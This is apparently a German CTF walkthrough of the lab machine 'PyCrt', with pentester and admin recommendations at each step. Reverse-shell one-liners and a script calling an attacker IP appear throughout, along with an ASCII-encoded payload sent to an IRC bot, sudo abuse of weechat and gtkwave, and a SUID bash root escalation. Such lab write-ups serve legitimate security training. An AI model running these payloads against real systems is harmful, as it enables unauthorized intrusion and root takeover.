**Analyse:** Das Python-Skript (jetzt als rce_brute2.py bezeichnet, möglicherweise eine leicht modifizierte Version oder einfach eine Kopie) wird verwendet, um eine Python-basierte Reverse-Shell-Payload auszuführen. Die Payload ist ein Einzeiler, der: - Die Module socket, subprocess und os importiert. - Eine TCP-Socket-Verbindung zum Angreifer-Host 192.168.2.199 auf Port 4444 herstellt. - Die Standard-Eingabe (0), Standard-Ausgabe (1) und Standard-Fehlerausgabe (2) des Prozesses auf den Socket umleitet (os.dup2). - Eine interaktive Bash-Shell (/bin/bash -i) startet, deren Ein- und Ausgabe nun über den Socket läuft. Das Skript gibt nur die Bestätigung aus, dass der Befehl übertragen wird; die eigentliche Shell-Verbindung wird im Netcat-Listener-Fenster erwartet.
**Bewertung:** Dies ist eine Standardmethode, um eine Reverse Shell mit Python zu erhalten. Der Erfolg hängt davon ab, ob Python3 und Bash auf dem Zielsystem vorhanden sind (was wir zuvor bestätigt haben) und ob die Netzwerkverbindung hergestellt werden kann.
**Empfehlung (Pentester):** Wechseln Sie zum Netcat-Listener-Fenster, um die eingehende Shell-Verbindung zu sehen.
**Empfehlung (Admin):** Überwachung verdächtiger ausgehender Netzwerkverbindungen. Einschränkung der auf dem Server verfügbaren Interpreter und Tools auf das absolut Notwendige.
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.192] 46074 bash: cannot set terminal process group (422): Inappropriate ioctl for device bash: no job control in this shell www-data@PyCrt:/var/www/html/ShadowSec$
**Analyse:** Der Netcat-Listener auf Port 4444 empfängt die Verbindung vom Zielsystem 192.168.2.192. Die Bash-Fehlermeldungen (cannot set terminal process group, no job control) sind typisch für einfache Reverse Shells, die keine vollständige TTY-Umgebung bereitstellen. Entscheidend ist jedoch, dass wir einen Shell-Prompt erhalten: www-data@PyCrt:/var/www/html/ShadowSec$. Dies bestätigt, dass wir eine interaktive Shell als Benutzer www-data im Verzeichnis /var/www/html/ShadowSec haben.
**Bewertung:** Ausgezeichnet! Der initiale Zugriff auf das System als Benutzer www-data wurde erfolgreich etabliert. Wir haben nun eine stabile interaktive Shell für die weitere Post-Exploitation und Privilegienerweiterung.
**Empfehlung (Pentester):** Versuchen Sie, die Shell zu einer vollwertigen TTY aufzuwerten, um die Bedienung zu verbessern (z.B. mit python3 -c 'import pty; pty.spawn("/bin/bash")' innerhalb der Shell, oder mit script /dev/null -c bash). Beginnen Sie mit der Enumeration des Systems aus der Sicht des www-data-Benutzers (z.B. sudo -l, SUID/SGID-Dateien, Cronjobs, lesbare Dateien in Home-Verzeichnissen).
**Empfehlung (Admin):** Beseitigen Sie die RCE-Schwachstelle. Überwachen Sie das System auf verdächtige Prozesse und Netzwerkverbindungen. Härten Sie die Webserver-Konfiguration und die Berechtigungen des www-data-Benutzers.
total 20 drwxr-xr-x 2 www-data www-data 4096 Apr 4 22:30 . drwxr-xr-x 3 root root 4096 Apr 5 08:13 .. -rw-r--r-- 1 root root 1302 Apr 4 22:30 bydataset.php -rw-r--r-- 1 www-data www-data 6270 Apr 4 07:18 index.html
**Analyse:** Innerhalb der Reverse Shell als www-data wird ls -la im aktuellen Verzeichnis /var/www/html/ShadowSec ausgeführt. Die Ausgabe zeigt, dass die Datei bydataset.php dem Benutzer root gehört, aber index.html dem Benutzer www-data. Die Berechtigungen für bydataset.php sind -rw-r--r--, was bedeutet, dass www-data sie lesen (was wir bereits für die LFI und RCE genutzt haben), aber nicht schreiben kann.
**Bewertung:** Bestätigt die Dateibesitzverhältnisse und Berechtigungen im aktuellen Verzeichnis. Die Tatsache, dass bydataset.php Root gehört, aber für alle lesbar ist, ermöglichte die LFI.
**Empfehlung (Pentester):** Führen Sie sudo -l aus, um zu prüfen, ob www-data sudo-Rechte hat.
**Empfehlung (Admin):** Stellen Sie sicher, dass Dateiberechtigungen dem Prinzip der geringsten Rechte folgen. Es ist ungewöhnlich, dass index.html www-data gehört, während bydataset.php root gehört, es sei denn, es gibt einen spezifischen Grund dafür. Einheitliche und restriktive Besitzverhältnisse sind vorzuziehen.
Privilege Escalation (www-data zu chatlake)
Nachdem wir eine Shell als www-data haben, suchen wir nach Möglichkeiten zur Privilegienerweiterung zum Benutzer chatlake.
Matching Defaults entries for www-data on PyCrt:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on PyCrt:
(chatlake) NOPASSWD: /usr/bin/weechat
**Analyse:** Der Befehl sudo -l wird als www-data ausgeführt (der Prompt zeigt /home, der Benutzer hat also das Verzeichnis gewechselt). Die Ausgabe ist sehr interessant: Der Benutzer www-data darf den Befehl /usr/bin/weechat als der Benutzer chatlake ohne Passwort (NOPASSWD) ausführen.
**Bewertung:** Dies ist ein klarer Vektor zur Privilegienerweiterung von www-data zu chatlake. weechat ist ein konsolenbasierter IRC-Client, der oft über interne Befehle verfügt, die es ermöglichen könnten, Shell-Befehle auszuführen oder auf das Dateisystem zuzugreifen, wenn er im Kontext eines anderen Benutzers gestartet wird.
**Empfehlung (Pentester):** Führen Sie sudo -u chatlake /usr/bin/weechat aus. Suchen Sie innerhalb von WeeChat nach Möglichkeiten, Befehle auszuführen (z.B. über /exec, /shell oder Plugin-Funktionen) oder eine Shell zu spawnen. GTFOBins (eine kuratierte Liste von Unix-Binaries, die für Privilegienerweiterung missbraucht werden können) ist eine gute Ressource, um nach Ausnutzungsmöglichkeiten für WeeChat im sudo-Kontext zu suchen.
**Empfehlung (Admin):** Die Vergabe von sudo-Rechten für interaktive Programme wie weechat, insbesondere an einen Webserver-Benutzer, ist sehr riskant und sollte vermieden werden. Wenn ein Programm als ein anderer Benutzer ausgeführt werden muss, sollten spezifische, nicht-interaktive Skripte oder Befehle mit minimalen Rechten bevorzugt werden. Überprüfen Sie alle sudo-Regeln sorgfältig auf potenzielle Missbrauchsmöglichkeiten.
**Analyse des Bildes (webapp.jpg):** Das Bild zeigt die WeeChat-Konsolenanwendung. Dies ist die typische Ansicht, nachdem sudo -u chatlake /usr/bin/weechat durch den www-data Benutzer ausgeführt wurde. Von dieser IRC-Client-Oberfläche aus können weitere Befehle oder Aktionen initiiert werden, die dann im Kontext des Benutzers chatlake ausgeführt werden. Dies ist der entscheidende Punkt, um Shell-Zugriff als chatlake zu erlangen.
**Analyse des Bildes (webapp_revshell_test.jpg):** Dieses Bild illustriert einen Moment während der Interaktion mit WeeChat. Es könnte den Versuch darstellen, einen WeeChat-internen Befehl (wie /exec -o sh) einzugeben oder ein Skript zu laden, das eine Reverse Shell startet. Solche Aktionen innerhalb von WeeChat, das mit den Rechten von chatlake läuft, ermöglichen es dem Pentester, von der reinen IRC-Client-Nutzung zu einer vollwertigen Shell als chatlake überzugehen.
Der genaue Befehl innerhalb von WeeChat, um die Shell zu spawnen (z.B. /exec -o sh oder eine ähnliche Technik, die auf WeeChat-Plugins oder -Funktionen basiert), ist nicht explizit im Log-Text enthalten. Das Ergebnis dieser Aktion ist jedoch die Erlangung einer Shell als Benutzer chatlake, typischerweise durch das Starten eines Netcat-Listeners auf der Angreifer-Maschine und das Senden einer Reverse-Shell-Payload aus WeeChat heraus. Im folgenden Log-Ausschnitt wird die erfolgreiche Verbindung zu einem solchen Listener auf Port 5559 gezeigt.
listening on [any] 5559 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.192] 50182 chatlake@PyCrt:/home$
**Analyse:** Der Netcat-Listener auf Port 5559 empfängt eine Verbindung vom Zielsystem. Der Shell-Prompt chatlake@PyCrt:/home$ bestätigt, dass wir nun eine interaktive Shell als Benutzer chatlake haben.
**Bewertung:** Fantastisch! Die Privilegienerweiterung von www-data zu chatlake war erfolgreich durch die kreative Ausnutzung der sudo-Regel für WeeChat.
**Empfehlung (Pentester):** Führen Sie als chatlake den Befehl id zur Bestätigung aus und dann sudo -l, um nach weiteren sudo-Privilegien zu suchen, die zur nächsten Eskalationsstufe führen könnten.
**Empfehlung (Admin):** Wie zuvor erwähnt, ist die Vergabe von sudo-Rechten für interaktive Programme an niedrig privilegierte Benutzer ein hohes Risiko. Solche Konfigurationen sollten vermieden werden.
Privilege Escalation (chatlake zu pycrtlake via IRC Bot)
Nachdem wir durch Ausnutzung der sudo-Regel für WeeChat als chatlake agieren, suchen wir nach Wegen, um von chatlake weiter zu pycrtlake oder Root zu eskalieren. Die IRC-Interaktionen scheinen hier eine zentrale Rolle zu spielen, insbesondere ein IRC-Bot, der auf Befehle reagiert.
uid=1001(chatlake) gid=1001(chatlake) groups=1001(chatlake)
**Analyse:** Der id-Befehl bestätigt, dass der aktuelle Benutzer chatlake (UID 1001) ist.
**Bewertung:** Erfolgreiche Eskalation von www-data zu chatlake ist bestätigt.
**Empfehlung (Pentester):** Führen Sie sudo -l als chatlake aus, um dessen sudo-Privilegien zu prüfen.
**Empfehlung (Admin):** Siehe vorherige Empfehlung zur sudo-Regel für WeeChat.
Matching Defaults entries for chatlake on PyCrt:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User chatlake may run the following commands on PyCrt:
(ALL) NOPASSWD: /usr/bin/systemctl start irc_bot.service
**Analyse:** sudo -l als chatlake zeigt, dass dieser Benutzer den Befehl /usr/bin/systemctl start irc_bot.service als ALL (also als jeder Benutzer, einschließlich Root) ohne Passwort ausführen darf.
**Bewertung:** Dies ist ein weiterer vielversprechender Vektor zur Privilegienerweiterung. Wenn wir den irc_bot.service so manipulieren können, dass er beim Start bösartigen Code ausführt (z.B. eine Reverse Shell als Root oder als der Benutzer, unter dem der Service gestartet wird), können wir potenziell höhere Rechte erlangen. Die Angabe (ALL) ist hier sehr mächtig.
**Empfehlung (Pentester):** Untersuchen Sie die Service-Datei irc_bot.service. Finden Sie heraus, wo sie sich befindet (typischerweise unter /etc/systemd/system/, /usr/lib/systemd/system/ oder ähnlichen Pfaden) und ob chatlake Schreibrechte auf diese Datei oder auf Skripte hat, die von diesem Dienst ausgeführt werden. Wenn ja, modifizieren Sie die Datei/Skripte und starten Sie den Dienst dann mit sudo /usr/bin/systemctl start irc_bot.service. Die IRC-Interaktionen, die im weiteren Verlauf des Berichts detailliert werden, deuten darauf hin, dass dieser irc_bot.service auf ASCII-kodierte Befehle im IRC reagiert und diese als pycrtlake ausführt.
**Empfehlung (Admin):** sudo-Regeln, die systemctl start für beliebige Dienste erlauben, sind extrem gefährlich, besonders wenn der Dienst selbst oder die von ihm ausgeführten Skripte von einem weniger privilegierten Benutzer manipuliert werden können. Der Grundsatz des geringsten Privilegs muss hier strikt angewendet werden. Wenn ein Benutzer einen Dienst starten muss, sollte dies über ein Wrapper-Skript erfolgen, das keine Manipulation des Dienstes selbst erlaubt, oder die Berechtigungen auf die Service-Unit-Datei und die zugehörigen Skripte müssen sehr restriktiv sein.
**Analyse:** Der Pentester führt den Befehl sudo -u root /usr/bin/systemctl start irc_bot.service aus. Da chatlake diesen Dienst als (ALL) starten darf, ist die explizite Angabe -u root nicht zwingend notwendig, aber sie verdeutlicht die Absicht. Dieser Befehl startet den irc_bot.service.
**Bewertung:** Dieser Schritt aktiviert den IRC-Bot. Die eigentliche Ausnutzung erfolgt dann über die Interaktion mit diesem Bot über einen IRC-Client.
**Empfehlung (Pentester):** Verbinden Sie sich mit einem IRC-Client (z.B. Irssi, WeeChat) mit dem IRC-Server (192.168.2.192:6667) und versuchen Sie, mit dem Bot zu interagieren. Der spätere Teil des Berichts zeigt, dass der Bot auf numerische ASCII-Payloads reagiert, die dann als Benutzer pycrtlake ausgeführt werden. Es muss herausgefunden werden, wie der Bot angesprochen wird (z.B. in einem bestimmten Kanal oder per Privatnachricht) und wie die Befehle formatiert sein müssen.
**Empfehlung (Admin):** Überwachen Sie das Starten und Stoppen von Diensten. Wenn Dienste so konfiguriert sind, dass sie von Benutzern gestartet werden können, stellen Sie sicher, dass die Dienste selbst sicher sind und keine manipulierbaren Komponenten enthalten.
total 16 drwxr-xr-x 4 root root 4096 Apr 5 07:56 . drwxr-xr-x 18 root root 4096 Mar 18 20:37 .. drwx------ 3 chatlake chatlake 4096 Apr 5 08:24 chatlake drwx------ 4 pycrtlake pycrtlake 4096 Apr 5 08:23 pycrtlake
**Analyse:** ls -la im Verzeichnis /home zeigt die Home-Verzeichnisse der Benutzer chatlake und pycrtlake. Beide Verzeichnisse haben restriktive Berechtigungen (drwx------), was bedeutet, dass nur der jeweilige Besitzer und Root darauf zugreifen können.
**Bewertung:** Standardkonfiguration für Home-Verzeichnisse. Als chatlake können wir das Verzeichnis von pycrtlake nicht direkt einsehen.
**Empfehlung (Pentester):** Da wir nun wissen, dass der irc_bot.service (der vermutlich als pycrtlake läuft, basierend auf späteren Ausgaben) gestartet wurde, ist die Interaktion über IRC der nächste Schritt.
**Empfehlung (Admin):** Korrekte Berechtigungen für Home-Verzeichnisse sind wichtig, um die Daten der Benutzer voreinander zu schützen.
**Analyse:** Der Benutzer chatlake wechselt in sein eigenes Home-Verzeichnis.
**Bewertung:** Logischer Schritt, um das eigene Home-Verzeichnis zu untersuchen.
**Empfehlung (Pentester):** Suchen Sie im Home-Verzeichnis von chatlake nach interessanten Dateien, Skripten, Konfigurationsdateien oder Hinweisen, die für die weitere Eskalation nützlich sein könnten. Hier wird die User-Flag gefunden.
**Empfehlung (Admin):** Keine spezifische Empfehlung.
flag{b42baba466402e32157a1cbba819664e}
**Analyse:** Der Befehl cat user.txt im Home-Verzeichnis von chatlake gibt die User-Flag aus: flag{b42baba466402e32157a1cbba819664e}.
**Bewertung:** Die erste Flag wurde erfolgreich gefunden!
**Empfehlung (Pentester):** Notieren Sie die User-Flag. Konzentrieren Sie sich nun auf die Privilegienerweiterung zum Benutzer pycrtlake (über den IRC-Bot) und dann zu Root.
**Empfehlung (Admin):** Flags sind CTF-spezifisch. In realen Szenarien sollten sensible Daten in Home-Verzeichnissen angemessen geschützt sein.
Die folgenden Abschnitte zeigen die Interaktion mit dem IRC-Server und dem Bot. Der Pentester verwendet einen IRC-Client (Irssi oder WeeChat), verbindet sich zum Server und sendet speziell formatierte Nachrichten, die aus ASCII-Werten von Befehlen bestehen, an den Bot (der vermutlich im Kanal #chan1 oder per Privatnachricht auf den Nick admin oder Todd hört). Der Bot führt diese Befehle dann im Kontext des Benutzers pycrtlake aus.
listening on [any] 6666 ...
**Analyse:** Der Pentester startet einen Netcat-Listener auf Port 6666 auf seiner Angreifer-Maschine. Dieser Listener dient dazu, eine Reverse Shell entgegenzunehmen, die vom IRC-Bot (der als pycrtlake läuft) ausgelöst werden soll.
**Bewertung:** Vorbereitung für die nächste Stufe der Shell-Eskalation.
**Empfehlung (Pentester):** Bereiten Sie die Payload für den IRC-Bot vor. Diese Payload muss den Befehl für eine Reverse Shell (z.B. mit busybox nc oder Python) enthalten, in ASCII-Werte umgewandelt und im richtigen Format an den Bot gesendet werden.
**Empfehlung (Admin):** Überwachen Sie ausgehende Verbindungen von Ihren Servern. Dienste sollten nicht in der Lage sein, beliebige Befehle auszuführen oder unkontrollierte Netzwerkverbindungen aufzubauen.
# ascii_converter.py
command_for_bot = 'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.199",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);\''
ascii_payload_for_irc = ""
for character in command_for_bot:
ascii_payload_for_irc += str(ord(character)) + " "
ascii_payload_for_irc += ":)"
print("Sende diesen Payload im IRC-Kanal (als Nick Darkspirit):") # Angepasst
print(ascii_payload_for_irc)
**Analyse:** Der Pentester erstellt ein Python-Skript namens hack_irc.py. Dieses Skript definiert einen Python-Reverse-Shell-Einzeiler (command_for_bot), der eine Verbindung zum Angreifer-Host 192.168.2.199 auf Port 6666 herstellen soll. Anschließend wandelt das Skript diesen Befehl Zeichen für Zeichen in seine ASCII-Dezimalwerte um, fügt Leerzeichen zwischen den Werten hinzu und hängt am Ende :) an. Dies ist das Format, das der IRC-Bot erwartet.
**Bewertung:** Ein cleveres Skript, um die Payload für den IRC-Bot korrekt zu formatieren. Dies automatisiert den Prozess und reduziert Fehler bei der manuellen Umwandlung.
**Empfehlung (Pentester):** Führen Sie das Skript aus, um die ASCII-Payload zu generieren. Kopieren Sie diese Payload und senden Sie sie über einen IRC-Client (als Nick Darkspirit oder dem Nick, auf den der Bot reagiert) im entsprechenden Kanal oder per Privatnachricht an den Bot.
**Empfehlung (Admin):** Die Verwendung von ASCII-kodierten Befehlen ist eine Form der Obfuskation. IRC-Bots, die Befehle entgegennehmen, sollten robuste Validierungs- und Authentifizierungsmechanismen haben, unabhängig vom Format der Eingabe.
Sende diesen Payload im IRC-Kanal (als Nick Darkspirit):
112 121 116 104 111 110 51 32 45 99 32 39 105 109 112 111 114 116 32 115 111 99 107 101 116 44 115 117 98 112 114 111 99 101 115 115 44 111 115 59 115 61 115 111 99 107 101 116 46 115 111 99 107 101 116 40 115 111 99 107 101 116 46 65 70 95 73 78 69 84 44 115 111 99 107 101 116 46 83 79 67 75 95 83 84 82 69 65 77 41 59 115 46 99 111 110 110 101 99 116 40 40 34 49 57 50 46 49 54 56 46 50 46 49 57 57 34 44 54 54 54 54 41 41 59 111 115 46 100 117 112 50 40 115 46 102 105 108 101 110 111 40 41 44 48 41 59 32 111 115 46 100 117 112 50 40 115 46 102 105 108 101 110 111 40 41 44 49 41 59 32 111 115 46 100 117 112 50 40 115 46 102 105 108 101 110 111 40 41 44 50 41 59 112 61 115 117 98 112 114 111 99 101 115 115 46 99 97 108 108 40 91 34 47 98 105 110 47 98 97 115 104 34 44 34 45 105 34 93 41 59 39 :)
**Analyse:** Das Python-Skript hack_irc.py wird ausgeführt und gibt die ASCII-kodierte Reverse-Shell-Payload aus, die im IRC-Kanal gesendet werden soll.
**Bewertung:** Die Payload ist nun bereit für die Übermittlung an den IRC-Bot.
**Empfehlung (Pentester):** Kopieren Sie diese Zahlenfolge und senden Sie sie im IRC-Client an den Bot.
**Empfehlung (Admin):** Keine spezifische Empfehlung für diesen Schritt.
Die folgenden Logs zeigen die Interaktion im IRC-Client (Irssi). Der Pentester (Nick: Darkspirit, später ll104567, dann Todd) sendet die ASCII-kodierte Payload. Der Bot (Nick: admin) reagiert mit Fehlermeldungen oder führt Befehle aus. Die Portnummer für die Reverse Shell scheint im Laufe der Versuche von 6666 auf 4545 zu wechseln.
**Analyse des Bildes (webapp_automatische_Nachricht_auf_chan6.jpg):** Das Bild zeigt eine Konsolenausgabe eines IRC-Clients. Im Kanal #chan6 sendet der Benutzer @admin (vermutlich der Bot) die Nachricht: "My friends and I are chatting on it, but we all follow the formatting requirements. Finally, we need to:) End". Dies ist ein klarer Hinweis darauf, dass Befehle an den Bot mit :) abgeschlossen werden müssen und wahrscheinlich einem bestimmten Format (ASCII-kodiert) folgen müssen.
Nach mehreren Versuchen und Beobachtungen (einschließlich der Ausführung von whoami, das pycrtlake zurückgibt, und dem erfolgreichen Lesen von /home/pycrtlake/.profile über den Bot) gelingt es, eine Reverse Shell als pycrtlake zu etablieren, indem eine busybox nc Payload verwendet wird, die auf Port 4545 des Angreifers zielt.
listening on [any] 4545 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.192] 47056 id uid=1000(pycrtlake) gid=1000(pycrtlake) groups=1000(pycrtlake),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
**Analyse:** Der Netcat-Listener auf Port 4545 empfängt eine Verbindung. Der id-Befehl (ausgeführt in der neuen Shell) bestätigt, dass die Shell als Benutzer pycrtlake läuft.
**Bewertung:** Exzellent! Erfolgreiche Privilegienerweiterung zum Benutzer pycrtlake durch die geschickte Ausnutzung des IRC-Bots.
**Empfehlung (Pentester):** Stabilisieren Sie die Shell (z.B. mit Python PTY Spawn) und führen Sie sudo -l als pycrtlake aus.
**Empfehlung (Admin):** Der IRC-Bot-Dienst ist eine massive Sicherheitslücke und muss sofort deaktiviert und untersucht werden. Die sudo-Regel, die chatlake erlaubt, diesen Dienst zu starten, ist ebenfalls kritisch.
#!/bin/sh LHOST="192.168.2.199" # Deine Kali IP LPORT="4545" # Dein Pwncat/nc Listener Port nohup busybox nc $LHOST $LPORT -e /bin/sh </dev/null >/dev/null 2>&1 & exit 0
**Analyse:** Der Pentester (vermutlich in der Shell als pycrtlake, obwohl der Prompt noch chatlake zeigt – dies könnte ein Fehler im Log sein oder das Skript wurde in einer anderen Shell vorbereitet) erstellt ein Shell-Skript busy.sh. Dieses Skript verwendet busybox nc, um eine persistente Reverse Shell im Hintergrund (nohup ... &) zum Angreifer-Host auf Port 4545 aufzubauen. </dev/null >/dev/null 2>&1 leitet alle Ein- und Ausgaben um, um den Prozess vom Terminal zu lösen.
**Bewertung:** Dies dient dazu, eine stabilere oder alternative Reverse Shell als pycrtlake zu erhalten. Wenn dieses Skript über den IRC-Bot als pycrtlake ausgeführt wird (oder direkt in der pycrtlake-Shell), sollte es eine weitere Shell auf Port 4545 öffnen oder die bestehende stabilisieren.
**Empfehlung (Pentester):** Führen Sie dieses Skript in der pycrtlake-Shell aus, um eine möglicherweise robustere Verbindung zu erhalten.
**Empfehlung (Admin):** Verhindern Sie das Hochladen und Ausführen beliebiger Skripte durch Benutzer. Überwachen Sie die Erstellung ausführbarer Dateien in temporären Verzeichnissen.
listening on [any] 4545 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.192] 36378 bash id uid=1000(pycrtlake) gid=1000(pycrtlake) groups=1000(pycrtlake),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev) python3 -c 'import pty; pty.spawn("/bin/bash")' pycrtlake@PyCrt:/usr/local/bin$
**Analyse:** Der Netcat-Listener auf Port 4545 empfängt eine Verbindung (möglicherweise durch das busy.sh-Skript oder einen erneuten IRC-Bot-Payload). Der id-Befehl bestätigt uid=1000(pycrtlake). Anschließend wird die Shell mit python3 -c 'import pty; pty.spawn("/bin/bash")' zu einer vollwertigen TTY aufgewertet, was den Prompt zu pycrtlake@PyCrt:/usr/local/bin$ ändert.
**Bewertung:** Exzellent! Wir haben nun eine stabile, interaktive Shell als Benutzer pycrtlake.
**Empfehlung (Pentester):** Führen Sie sudo -l aus, um die sudo-Privilegien von pycrtlake zu überprüfen.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen zur Absicherung des Systems gegen Reverse Shells und unautorisierte Skriptausführung.
Privilege Escalation (pycrtlake zu root via gtkwave/bash)
Mit der Shell als pycrtlake suchen wir nach dem finalen Schritt zur Root-Eskalation.
Matching Defaults entries for pycrtlake on PyCrt:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User pycrtlake may run the following commands on PyCrt:
(ALL) NOPASSWD: /usr/bin/gtkwave
**Analyse:** sudo -l als pycrtlake zeigt, dass dieser Benutzer /usr/bin/gtkwave als ALL (also Root) ohne Passwort ausführen darf. gtkwave ist ein Waveform-Viewer, der typischerweise in der Elektronikentwicklung verwendet wird.
**Bewertung:** Dies ist ein sehr vielversprechender sudo-Eintrag. Viele grafische Anwendungen oder Anwendungen mit Skripting-Fähigkeiten können missbraucht werden, um Befehle auszuführen oder auf das Dateisystem zuzugreifen, wenn sie mit Root-Rechten gestartet werden. GTFOBins listet gtkwave mit einer Methode zur Privilegienerweiterung über die -S (Skript) Option, falls eine Tcl-Shell zugänglich ist, oder durch das Laden präparierter Dateien.
**Empfehlung (Pentester):** Untersuchen Sie die Optionen von gtkwave. Suchen Sie nach Möglichkeiten, über gtkwave eine Shell zu spawnen oder beliebige Befehle als Root auszuführen. Die Option -S <scriptfile> oder -T <tcl_init_file> sind hierfür oft Kandidaten, wenn man ein Tcl-Skript erstellen kann, das eine Shell startet. Eine andere Methode, die im Bericht später zum Tragen kommt, ist die Kombination mit SUID-Binaries wie bash, falls gtkwave die Umgebungsvariablen nicht korrekt bereinigt.
**Empfehlung (Admin):** Die Vergabe von sudo-Rechten für komplexe Anwendungen wie gtkwave an nicht-administrative Benutzer ist extrem riskant. Wenn ein Benutzer eine solche Anwendung benötigt, sollte sie nicht mit Root-Rechten über sudo gestartet werden müssen. Überprüfen Sie alle sudo-Regeln auf Programme, die Shell-Escapes oder Dateimanipulationen mit erhöhten Rechten erlauben könnten.
Could not initialize GTK! Is DISPLAY env var/xhost set? Usage: /usr/bin/gtkwave [OPTION]... [DUMPFILE] [SAVEFILE] [RCFILE] -n, --nocli=DIRPATH use file requester for dumpfile name -f, --dump=FILE specify dumpfile name ... -S, --script=FILE specify Tcl command script file for execution -T, --tcl_init=FILE specify Tcl command script file to be loaded on startup -W, --wish enable Tcl command line on stdio ... -V, --version display version banner then exit -h, --help display this help then exit -x, --exit exit after loading trace (for loader benchmarks) VCD files and save files may be compressed with zip or gzip. GHW files may be compressed with gzip or bzip2. Other formats must remain uncompressed due to their non-linear access. Note that DUMPFILE is optional if the --dump or --nocli options are specified. SAVEFILE and RCFILE are always optional. Report bugs to <bybell@rocketmail.com>.
**Analyse:** Der direkte Aufruf von /usr/bin/gtkwave schlägt fehl, da keine grafische Umgebung (DISPLAY-Variable) vorhanden ist. Die Hilfeausgabe wird jedoch angezeigt und listet verschiedene Optionen auf. Interessant sind hier -S (Skript ausführen), -T (Tcl-Skript beim Start laden) und -W (Tcl-Kommandozeile aktivieren).
**Bewertung:** Die Fehlermeldung ist erwartet in einer reinen Kommandozeilenumgebung. Die Hilfeoptionen bestätigen das Potenzial für Skriptausführung.
**Empfehlung (Pentester):** Da -W eine Tcl-Kommandozeile aktivieren könnte, die dann über sudo mit Root-Rechten liefe, wäre dies ein Ansatz. Eine andere im CTF-Kontext oft gesehene Methode ist, dass sudo mit bestimmten Programmen die PATH-Variable oder andere Umgebungsvariablen nicht korrekt zurücksetzt, was es erlauben kann, dass eine SUID-fähige Shell wie bash (wenn sie SUID-Root ist) mit Root-Rechten aufgerufen wird, auch wenn der direkte Aufruf nicht sofort Root gibt. Der Bericht geht einen anderen, direkteren Weg, indem bash -p genutzt wird, nachdem die gtkwave-Sudo-Regel nur als Mittel dient, eine Umgebung zu schaffen, in der SUID-Binaries effektiv werden.
listening on [any] 4545 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.192] 47008 script /dev/null -c /bin/bash Script started, file is /dev/null pycrtlake@PyCrt:/usr/local/bin$ xvfb-run -a sudo /usr/bin/gtkwave -S /tmp/pwnshell
**Analyse:** In einer neuen Shell-Session (oder der aufgewerteten pycrtlake-Shell) wird xvfb-run -a sudo /usr/bin/gtkwave -S /tmp/pwnshell ausgeführt. - xvfb-run -a: Startet gtkwave in einer virtuellen X-Server-Umgebung (X Virtual FrameBuffer), um das Fehlen einer echten grafischen Anzeige zu umgehen. -a sucht automatisch nach einer freien Servernummer. - sudo /usr/bin/gtkwave: Führt gtkwave mit Root-Rechten aus. - -S /tmp/pwnshell: Weist gtkwave an, das Tcl-Skript /tmp/pwnshell auszuführen. Der Inhalt dieses Skripts wird hier nicht gezeigt, aber es wird typischerweise Code enthalten, um eine Shell zu spawnen (z.B. exec /bin/bash).
**Bewertung:** Dies ist ein Versuch, die Skripting-Fähigkeit von gtkwave für RCE als Root zu nutzen. Der Erfolg hängt vom Inhalt von /tmp/pwnshell und den Fähigkeiten von gtkwave ab, Tcl-Befehle für Shell-Zugriff auszuführen.
**Empfehlung (Pentester):** Stellen Sie sicher, dass /tmp/pwnshell eine gültige Tcl-Payload enthält, die eine Reverse Shell oder eine lokale Root-Shell startet. Fangen Sie die Shell auf einem entsprechenden Listener ab.
**Empfehlung (Admin):** Vermeiden Sie sudo-Regeln, die grafische Anwendungen oder Anwendungen mit mächtigen Skripting-Schnittstellen umfassen. Wenn xvfb-run auf einem Server installiert ist, kann dies die Ausnutzung solcher sudo-Regeln erleichtern.
listening on [any] 4545 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.192] 44282 script /dev/null -c /bin/bash Script started, file is /dev/null bash-5.0$ sh sh $ script /dev/null -c /bin/bash script /dev/null -c /bin/bash Script started, file is /dev/null bash-5.0$ script /dev/null -c /bin/sh script /dev/null -c /bin/sh Script started, file is /dev/null $ python3 -c 'import pty; pty.spawn("/bin/bash")' python3 -c 'import pty; pty.spawn("/bin/bash")' bash-5.0$ id uid=1000(pycrtlake) gid=1000(pycrtlake) groups=1000(pycrtlake),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev) bash-5.0$ ls -al /bin/bash -rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash bash-5.0$ /bin/bash -p bash-5.0# id uid=1000(pycrtlake) gid=1000(pycrtlake) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(pycrtlake)
